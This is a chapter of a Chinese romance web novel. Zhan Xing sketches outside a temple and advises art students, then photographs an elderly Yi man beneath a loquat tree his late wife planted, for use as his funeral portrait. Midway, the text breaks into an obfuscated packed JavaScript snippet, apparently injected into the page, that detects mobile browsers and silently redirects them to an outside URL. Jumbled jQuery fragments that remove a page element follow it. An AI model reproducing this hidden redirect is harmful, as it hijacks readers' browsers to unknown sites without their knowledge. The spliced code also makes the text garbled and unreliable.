肉肉咖啡店下午三点半不到就关门了，有相熟的客人经过好奇地问：“林老板，今天关门这么早。”
“嗯，今天有点事。”
林东晴拿着一把环形铁锁穿过两扇木门的把手，钥匙一拧锁住了。
他往古城文庙的方向走去，詹星给他发的上一条信息是说自己在文庙，现在已经过了一个多小时了。
文庙不大，不至于逛那么久，但詹星不知在忙什么，没回信息，所以他也只能去文庙碰碰运气，那离北街也不远，走过去大概十分钟的时间。
林东晴拐出一条胡同巷子，便到了文庙。
文庙的门口有一颗蓝花楹树，今年的花开得晚些，现在树枝上还挂着将谢未谢的紫色小花。蓝花楹的花期很短，这些花都已经显了疲态，开始蜷曲枯萎，半月前绽放得绚烂时，就像一团紫色的云霞。
每一阵路过的风都会抖落数片花瓣，在树底下形成一片残花造就的花海。
花海的不远处，几个支着画板的三脚架立在地上，但人却跑了，他们在其中一个画架周围了一圈，聚精会神地看着中间拿着笔在画布上方游走的人。
詹星坐在画架前，他每次觉得头发碍事的时候就会随手扎起来，有些凌乱的浅金色半长发看起来随性又散漫，展露无遗的五官精致得惊人。
他手里拿着蘸上了颜料的画笔，在画布上方虚点着，侧着头和站在一旁的几个大学生模样的人说着话。
林东晴站在远处看他。
詹星的眉宇间透着认真，神情是前所未见过的专注，他在自己擅长的领域中，闪着熠耀的光。
林东晴的手指无意识地蜷曲了一下。
詹星今天路过文庙的时候，看到几个人在树下摆弄画架，像是艺术专业的学生出来采风的。他之前也有参加过户外写生的课程，大一的时候被安排到了江西，大二去了安徽，总之是没分到云南。
他拍了张文庙的照片，正要准备走的时候，其中一个男生跑上来叫住了他，脸上扬着些兴奋，问他：“请问是詹星学长吗？”
詹星迟疑地点了一下头，真没想到这个小镇上还有人认识自己，“你们是江大美院的？”
“不不，我们是江美的，不过我朋友是江大的，我之前在他那见过你的照片！”
他们邀请詹星一起写生，慷慨地将自己多出来的画布还有颜料等都借给他。詹星也没拒绝，他过来这边什么绘画工具也没带，好了，这下是真的在云南采风了。
他借了两根粗细不一的针管笔，旁边女同学给了他一张画板和有肌理的皮纸，这种半生熟宣纸的质量很好，不容易洇墨。
找了个合适的角度坐下，在脑海中快速地过了一下构图规划，便开始起稿拉形了。
文庙大门的主色调是蓝紫色的，旁边的蓝花楹枝干伸进了画面中。这个场景的色彩饱和度很高，加上云南下午的紫外线强，对比特征鲜明，很适合用来作油画参照物，但油画太麻烦了，所以他也只是打算画幅不那么复杂的速写。
大概一个小时后，他放下手中的笔，活动了一些酸胀的脖子和手臂。
文庙飞檐翘顶的张扬，蓝花楹枝桠的清寂，被他框在画纸上，恰到好处的留白也写满了历史沧桑。
江美的几个同学好奇地借来詹星的画，他们相互传阅着，咋舌于他的速度和画技。
“手也太稳了吧…”男生看着画上排布均匀的阴影直线，震惊地喃喃道。
一个女生手里拿着自己的速写作业，问他：“学长，我用针管笔的时候感觉线条很硬，你能帮我看看画吗？”
詹星接过她的画，先是上下扫视了一眼看构图，然后再看细节。
“长线太多太平直了，画古建筑，最好是突出它风化残缺的特点，像这些砖石瓦片，适当的用顿笔和波浪断续的线会更适合。”
詹星沉吟一下，“我不是老师，只能跟你们分享下我自己的想法，每个人的绘画风格不一样，你们随便听听就好。”
“诶，学长，你是学插画素描的吗？还是建筑设计专业？”
“不是，我是学油画的。”詹星说。
油画很少用到针管笔，因为两者的表现方式完全不同，所以训练的方向也不一样。当然油画系的人也可能会对针管笔速写感兴趣，但大学里能画到和专攻这项技能的人媲美的程度还是很罕见的，所以他们觉得很诧异。
他们将詹星围在其中，他正在给他们讲光影，正说到要观察环境时，转头看到了站远处在抽烟的林东晴。
他们猝不及防地四目相对，詹星拿着笔的手，和林东晴拿着烟的手，都分别凝滞了一下。
詹星拿起手机看了眼时间，已经过了三点半。他放下笔，对围在身边的几个学生说：“我还有事得先走了。”
他们道别过后，詹星穿过蓝花楹树下，经过文庙门口，走向了林东晴。
林东晴看到他走过来，灭了烟丢进旁边的垃圾桶中。
“你怎么不过来叫我。”詹星对他说。
林东晴笑道：“看你在忙。才几个小时不见，怎么都变成詹老师了。”
他们默契地一起往回走去，文庙在北街再往北的方向上，从这里去南街的话得先走过北街。
“你别说，我以前还真想过当个美术老师。”詹星语气轻松，唇角带上了笑意。
“现在不想了吗？”林东晴问他。
“现在没什么想法，大学这几整天待在画室里，感觉自己越来越不喜欢画画了，但是除了画画也不知道能干点什么。”詹星说。
“不喜欢怎么会学？”林东晴问。
“我妈以前是个美术老师，我从小就跟着她上课，当时觉得教人画画挺酷的，但她说我的脾气不适合做老师。”
林东晴若有所思，他看向詹星，“但我觉得你很适合。”
詹星怔了一下，看向他，“是吗？”
林东晴点了点头，“是，你喜欢画画，也适合做老师，而且你肯定能做得很好。”
要是不喜欢，怎么会坐在画架前时整个人都发着光，又怎么会花那么多时间在上面。不想做的事多付出一个眼神都嫌浪费精力，虽然他们认识时间不长，但他觉得詹星就是这样的一个人。
在短暂地沉默后，詹星轻笑了一下，“你不是在安慰我吧？”
林东晴走到他面前停下，看着他的眼睛，“我很认真的啊，你不相信我吗？”
詹星看着对方阳光照射下的眼眸，闪着清透的光，他清了清嗓子，拍了一下林东晴的肩膀，从他的身旁绕过去，“相信相信。”
阳光从枇杷树顶打下，在地上形成了斑驳的树影，爷爷搬了张凳子坐在树下，手里拿着把蒲扇在慢悠悠地扇着，看到他们来的时候站了起来，和蔼的笑容在满是皱纹的脸上荡开。
他今天穿了一件深蓝色的老式西装外套，袖口和领子处的泛白诉说着岁月有痕。
林东晴走上去和他用彝语沟通，爷爷频频点头，然后又跟他说了几句话。
詹星听不懂他们的语言，举着相机，镜头对着他们调数值，他咔咔按了几张林东晴和爷爷对话时的照片。
这相机是他不久前才入手的口袋机，机身小重量轻方便携带，所以他才带来了云南。此时屏幕里的画面光线有点偏暗，但一调档，就曝光了。怎么看都不太满意，他觉得相机调色简直比颜料难控制多了。
林东晴向詹星说：“普爷爷说想和枇杷树合个影，就在这个树下。”
“好啊，那你让他坐着吧。”詹星说。
詹星拿起相机，但这凳子太矮了，只能拍到普爷爷和树干的合照。
詹星又放下了相机，说：“问问他家里有高一点的凳子吗？”
他们说了几句话后，林东晴走进房子里搬出来一张更大凳脚更高的木椅，然后扶着普爷爷坐了上去。
普爷爷的腰背不好，总是佝偻着，但他坐在上面时尽力地把背挺直了，看起来更精神些。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726936|189499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他给普爷爷和枇杷树拍了几张合照，近景和远景都分别拍了好几张。拍完照拿着相机给普爷爷看相片，他眼睛看不清，只一味地笑着点头。
“镇上应该能打印照片吧？”詹星问。
“普通打印店应该就可以。”林东晴说。
“那晚点你跟我一起去吗？把照片打印出来再拿给他，对了，你问问他照片是用来摆在哪，打印多大的合适。”
“好。”
林东晴转头去跟老人说话，他问了几句，然后普爷爷跟他讲了很多话，他沉默地听着。
詹星看着他们的交流，等聊完后，他问：“聊了什么？”
“他说，照片是准备以后用来做遗照的。”
詹星听完后一怔，慢慢睁大了双眼看着林东晴，然后又转头看向普爷爷，他此时也正笑着看他们。
林东晴温声宽慰道：“不用紧张，生死无常，其实这边很多老人会提前拍好照片的，普爷爷他甚至连挽联的内容准备好了，他问我们要不要进去他家里看看。”
詹星还是觉得有些不可思议，一时难以接受，“可是我拍照技术其实很差，这相机也不是特别适合拍人像，要不我重新再拍一遍吧....”
林东晴在他肩膀上拍了拍，“没事的，你拍的很好，普爷爷自己都觉得很好。”
詹星沉默半晌，“但遗照不用找个纯色的背景墙吗？”
“他说要用一张和这颗枇杷树合照，这是他妻子在去世前不久亲手种下的树，算是他对妻子的寄托吧。”林东晴说。
詹星抬头看了一眼那茂盛的枝叶，它看起来至少像有十几年以上的树龄了。
“他的妻子当时突然生了急病，她一张照片都没有留下，去世前连遗照也来不及去拍，所以他那天看到你在拍枇杷树的时候，就想到让自己留一张和这棵树的合影以后做遗照。”
詹星心情复杂地点点头。
林东晴看着他脸，笑说：“怎么还是这幅表情，你要进去看看吗？”
“好。”
普爷爷领着他们进了房子里，房子光线昏暗，透着陈年旧木的味道，云南的气候比较干燥，木头房不那么容易发霉潮湿，也更耐用，这房子不大，中间也有一个小院子。
他找出自己一本泛黄的笔记本，上面写着彝族的文字，是他口述，让自己的女儿写的，看着有点像象形字。
林东晴也看不懂彝族文字，他问普爷爷这是什么意思，他苍老浑浊的嗓音说着绵延的彝语，像是从群山深处传出来的回响：“阿大阿嬷接我归，魂赴孜孜普乌。”
孜孜普乌是彝文典籍《指路经》中的理想祖地，是彝族人心里的圣洁丰饶的灵魂归宿之处。
死亡不是终结，而是灵魂以另一种形式回归自然与祖先的怀抱。
在云关，有家人去世的话门口会贴三年的挽联以表哀思，一些老人会先记录下自己想要的挽联内容，等到真正用上的时候，就会由同家族的亲人再一起商议确定内容，再由代书人润色书写。
林东晴和詹星解释着这些习俗，他之前就注意到这边很多房子的门口都贴着挽联，城门下的公告栏也贴着讣告，似乎这片土地对死亡更豁达坦然，没那么忌讳。
“你能帮我问问看普爷爷还记得妻子的样子吗？”詹星说。
“好。”林东晴说。
林东晴似乎想到了什么，他对詹星说：“要不你也给我拍一张。”
詹星愣了一下，“拍什么？你不要跟我说你也要拍....”他说到后面停了下来，蹙起眉心，“你拍这个干嘛，你这人真是的，在你一百岁之前我都不会给你拍的，你好好活到一百岁再说吧。”
他越想越气，瞪着对方。
林东晴被他说得直愣，但是又莫名觉得想笑，“那我不拍了，你别生气。”
他看着詹星，感觉像在看一只炸毛的小猫。
好想给他顺一顺毛，但又怕吓到小猫，最终还是忍下来了。